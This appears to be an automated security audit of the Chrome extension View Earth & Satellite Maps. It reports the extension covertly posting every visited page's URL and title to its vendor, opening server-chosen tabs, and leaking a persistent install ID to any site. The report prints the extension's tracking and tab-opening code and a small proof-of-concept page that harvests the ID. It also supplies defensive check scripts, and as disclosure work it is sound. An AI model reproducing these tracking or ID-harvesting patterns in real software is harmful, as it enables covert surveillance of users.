Is View Earth & Satellite Maps safe?

High risk

View Earth & Satellite Maps sends the URL and title of every page you visit to its own server, tagged with a persistent install ID.

On each completed page load (and whenever the page title changes), the extension's background script sends the current tab's URL, title, and page description to viewearthsatellite.com, keyed to a userId assigned at install. A content script running on every site also answers unauthenticated postMessage requests with that same install ID, so any page can read a visitor's stable identifier. The server's response can also direct the extension to silently open a new tab to a URL of its choosing after the user clicks a link, at most once per minute.

View Earth & Satellite Mapsv1.2.1Chrome Web Store
80Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

View Earth POSTs every page's URL and title under disguised field names

CriticalunwantedCWE-359Static analysis

Code analysis shows the background sends the active tab's full URL, title, and meta description to the vendor's server on every navigation, keyed to a persistent ID, with the URL and title nested under unrelated field names.

What actually happens

You did this

You finish loading a page, or the page's title changes, for example when a video title loads in.

This applies on essentially any http or https site, as long as the extension and the server-side flag both allow it.

The extension did this

The background sends your persistent install ID plus the page's URL, title, and description to the vendor's own server.

The URL and title are nested under invented field names (atlas.route.surface.address, terra.lens.signal.caption) instead of url/title.

Fields in the POST body to earth-widget.php

  • Install ID
    c9f2b6a1-7d4e-4c3a-91f0-2b8e5a6d10cf (illustrative)

    The persistent ID assigned at setup, sent with every beacon so your visits can be strung into one history.

  • Page URL
    https://news.example.com/politics/2026/local-election-results (illustrative)

    The full address of the page you're on, sent under the invented field name atlas.route.surface.address.

  • Page title
    Local election results roll in as counting continues (illustrative)

    The page's title, sent under the invented field name terra.lens.signal.caption.

  • Meta description
    Live coverage and analysis of today's local election results. (illustrative)

    Up to 5000 characters of the page's own meta description tag, sent as keywords.

The code that does this

The navigation beacon: shipped vs. formatted

Readable version

serviceWorker.js, formatted and renamed for readability

serviceWorker.js
async function sendNavigationBeacon(tab, contentContext, opts = {}) {  try {    if (!tab || !tab.id) return;    if (!(await beaconEnabled())) return;                 // storage flag earth.flow.enabled    const userId = await getOrCreateInstallId();    if (!(await remoteFlagAllows(userId))) return;         // 24h-cached earth-widget-check.php flag    let ctx = contentContext && typeof contentContext === "object" ? contentContext : {};    if (opts.preferContentContext || (!contentContext && tab.url && isYouTubeWatchUrl(tab.url))) {      const sampled = await sampleTabMeta(tab.id);         // asks the content script for <meta> tags      if (sampled) ctx = sampled;    }    const url = typeof ctx.url === "string" && ctx.url.trim() ? ctx.url : (tab.url || "");    const title = typeof ctx.title === "string" ? ctx.title : (tab.title || "");    if (!url) return;    const description = ctx.description ? String(ctx.description).trim().substring(0, 5000) : "";    // de-dupe: skip if this exact url+title+description was already sent for    // this tab in the last ~10 seconds    const signature = `${url}\n${title}\n${description}`;    const prior = recentSignatures.get(tab.id);    const now = Date.now();    if (prior && prior.signature === signature && now - prior.at < 10000) return;    recentSignatures.set(tab.id, { signature, at: now });    // URL and title are nested under names unrelated to their meaning    const body = {      userId,      terra: { lens: { signal: { caption: title } } },      // "caption" IS the page title      atlas: { route: { surface: { address: url } } },      // "address" IS the page URL      keywords: description    };    const res = await fetch(`https://viewearthsatellite.com/extension/api/earth-widget.php`, {      method: "POST",      headers: { "Content-Type": "application/json" },      body: JSON.stringify(body)    });    if (!res.ok) {      const text = await res.text().catch(() => "");      // a failed navigation beacon logs as an ad "bid", not a data upload      throw new Error(`bid HTTP ${res.status}: ${text}`);    }    const responseJson = await res.json().catch(() => ({}));    await chrome.storage.local.set({ [tab.id]: unwrapResponse(responseJson) });  } catch {}}

Where the beacon goes

    • viewearthsatellite.com

    The vendor's own server. Receives every navigation/title-change beacon (URL, title, description) keyed to your install ID, plus install/uninstall and remote-flag endpoints.

Check if you're affected

Unwraps a captured beacon body's disguised field names back to plain URL, title, and description values.

Requires
  • Node.js 18+
decode-earth-beacon.js · js
#!/usr/bin/env node// Unwraps a captured POST body to// viewearthsatellite.com/extension/api/earth-widget.php (View Earth & Satellite// Maps, id gknlhlnbajcblnbnacnagmdocnfiimhk) back to the plain fields it holds.// Usage: node decode-earth-beacon.js < captured-body.jsonconst fs = require("fs");const body = JSON.parse(fs.readFileSync(0, "utf8"));console.log("Install ID:      ", body.userId);console.log("Page URL         (wire name atlas.route.surface.address):", body?.atlas?.route?.surface?.address);console.log("Page title       (wire name terra.lens.signal.caption):  ", body?.terra?.lens?.signal?.caption);console.log("Meta description (wire name keywords):                  ", body?.keywords);
How to run it
  1. 1Capture a POST body sent to viewearthsatellite.com/extension/api/earth-widget.php from your browser's network panel.
  2. 2Run: node decode-earth-beacon.js < body.json.
  3. 3Read the printed URL/title/description.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

View Earth can open an extra tab to a server-chosen URL after a link click

HighunwantedCWE-506Static analysis

Code analysis shows that after a normal link click, the background can open a new tab to a URL its own server supplied earlier, up to once every 60 seconds, without any notice to you.

What actually happens

You did this

You left-click a normal same-page link, not a middle-click and not one that already opens in a new tab.

This works on any site, as long as the page already triggered the extension's navigation beacon and got a target URL back.

The extension did this

The background can open a brand-new tab to a URL its own server chose, at most once every 60 seconds.

The link you clicked still goes where its own href points; the extra tab's address is never shown anywhere in the extension's UI.

What decides the extra tab's destination

  • Target URL
    https://promo.example-partner.test/landing?ref=ew (illustrative)

    The address the new tab opens to. Chosen entirely by the vendor's server in an earlier beacon reply, not by anything on the page.

  • Pinned / muted flags
    pinned: false, muted: false (illustrative)

    The server can also tell the extension to open the tab pinned or muted, which changes how visible it is to you.

  • Cooldown timestamp
    1758123456789

    The time of the last such tab-open, used only to enforce the once-per-60-seconds limit.

The code that does this

Link-click detector and the gated tab-open, shipped vs. formatted

Readable version

earth-widget.js, formatted

earth-widget.js
function isGenuineLinkNavigation(clickEvent) {  try {    let node = clickEvent.target;    while (node && node.nodeName && node.nodeName.toLowerCase() !== "a" && node.parentNode instanceof Node) {      node = node.parentNode;    }    if (node && node.nodeName && node.nodeName.toLowerCase() === "a") {      const href = node.getAttribute("href");      const hasTarget = node.getAttribute("target");      const isMiddleClick = clickEvent.button === 1;      const isValidUrl = (() => { try { new URL(href, window.location.href); return true; } catch { return false; } })();      return !(hasTarget || !isValidUrl || isMiddleClick);    }    return false;  } catch { return false; }}// wired on every page: document.body.addEventListener("click", e => {//   if (e.target instanceof Element) {//     sendToBackground({ type: "earth:surface:engage", data: isGenuineLinkNavigation(e) });//   }// });

serviceWorker.js, formatted and renamed

serviceWorker.js
async function maybeOpenServerTab(sourceTabId, wasGenuineLinkClick, sourceTab) {  if (!(await beaconEnabled())) return void await clearCachedTarget(sourceTabId, "earthOrbitUnit");  const cached = await getPerTabCache(sourceTabId);  if (!cached) return;  const unit = cached.earthOrbitUnit;  if (!unit) return;  const targetUrl = unit.earthOrbitPath;          // = the beacon response's nta.targetLink  if (!targetUrl) return;  if (!(await cooldownElapsed())) return;          // last-open timestamp, 60s minimum gap  const finalUrl = `${targetUrl}${wasGenuineLinkClick ? "&l=1" : ""}`;  const newTab = await chrome.tabs.create({    url: finalUrl,    active: !unit.delayed,    pinned: (unit.pinned || 0) > 0  });  if (newTab && newTab.id) {    await recordOpenedTab(newTab.id, { createdAt: Date.now(), openedUrl: finalUrl, sourceTabId });    await markLastOpenNow();    if (unit.muted) chrome.tabs.update(newTab.id, { muted: true });  }  await clearCachedTarget(sourceTabId, "earthOrbitUnit");}

Check if you're affected

Lists any open tab that currently has a server-supplied redirect URL cached and ready to fire on the next qualifying link click.

Requires
  • Chrome DevTools access to the extension's service worker (chrome://extensions, Developer mode)
check-earth-orbit-path.js · js
// Run in the extension's own service worker console:// chrome://extensions -> View Earth & Satellite Maps -> "service worker" -> Inspect.// Lists any tab that currently has a server-supplied redirect target cached and// ready to fire on the next qualifying link click.chrome.storage.local.get(null, (all) => {  for (const [key, value] of Object.entries(all)) {    if (/^\d+$/.test(key) && value && value.earthOrbitUnit && value.earthOrbitUnit.earthOrbitPath) {      console.log(`Tab ${key} has a pending redirect target:`, value.earthOrbitUnit.earthOrbitPath);    }  }});
How to run it
  1. 1Open chrome://extensions, enable Developer mode, find the extension, click 'service worker' to open its console.
  2. 2Paste and run this script.
  3. 3Any tab ID printed has a pending redirect logged with it.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

View Earth replies to any site's script with your permanent install ID

MediumunwantedCWE-940Dynamic sandbox

Observed during dynamic analysis: a content script on every page replies to a message asking for your install ID, returning the same ID to scripts on unrelated sites without checking the sender.

What actually happens

You did this

You load a page that embeds a third-party script, for example an ad, widget, or analytics script inside an iframe.

The content script reads your install ID from storage and listens on every frame of every http(s) page.

The extension did this

Any script that posts the right message gets your permanent install ID sent straight back, with no check on which site or frame asked.

The same ID comes back on every unrelated site, so a script embedded on many sites can link your visits to them together.

What a querying script receives back

  • Install ID (uid)
    2562400620155685518

    A single ID assigned to this browser at install. Every site that asks gets the same value back, letting it tie your visits together.

  • Message type
    earth:ref:uid

    The exact message a page must post to trigger the reply, a fixed string readable in the shipped code.

The code that does this

The unauthenticated postMessage listener vs. the extension's own origin-checked one

Readable version

usage-events.js, formatted

usage-events.js
const STORAGE_KEY = "earth.uid";chrome.storage.local.get(STORAGE_KEY, (result) => {  const uid = result && result[STORAGE_KEY];  if (!uid) return;  window.addEventListener("message", ({ data, source }) => {    if (data && data.type === "earth:ref:uid" && source) {      // no e.origin check here: replies to ANY sender on ANY site      source.postMessage({ type: "earth:ref:uid-result", data: { uid } });    }  });});

earth-widget.js, formatted (this one DOES check origin)

earth-widget.js
window.addEventListener("message", (e) => {  // contrast: this listener in the SAME extension DOES check origin  if (e.origin === "https://viewearthsatellite.com" && e.data && e.data.type === "earth-widget-close") {    closeWidgetPanel();  }});

Reproduce it yourself

Loads in any page the extension runs on and asks it, via postMessage, for the stored install ID, then logs whatever comes back.

Requires
  • Extension installed and past initial setup, so chrome.storage.local key earth.uid already holds a value
read-earth-uid.html · html
<!DOCTYPE html><html><body><script>// Run this page on ANY http(s) site the extension runs on. It does not need// to be the vendor's own domain; usage-events.js runs on https://*/* and// http://*/*, all_frames, with no origin check on the reply.window.addEventListener("message", (e) => {  if (e.data && e.data.type === "earth:ref:uid-result") {    console.log("Received the extension's stored install uid:", e.data.data.uid);  }});window.postMessage({ type: "earth:ref:uid" }, "*");</script></body></html>
How to run it
  1. 1Save as read-earth-uid.html and open it in a browser tab on any http(s) site.
  2. 2Open the browser console.
  3. 3If the extension has completed setup, the returned uid logs within a second.

Observation

Observed during dynamic analysis: on two unrelated sites, example.com and wikipedia.org, a page script posted the message and received the identical install ID (2562400620155685518) both times, with no origin check.

Where it sends data

Destinations our analysis observed View Earth & Satellite Maps contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • viewearthsatellite.com

    View Earth & Satellite Maps sends data to viewearthsatellite.com. One other extension we have analyzed sends data here.

Updated 30 September 2026gknlhlnbajcblnbnacnagmdocnfiimhk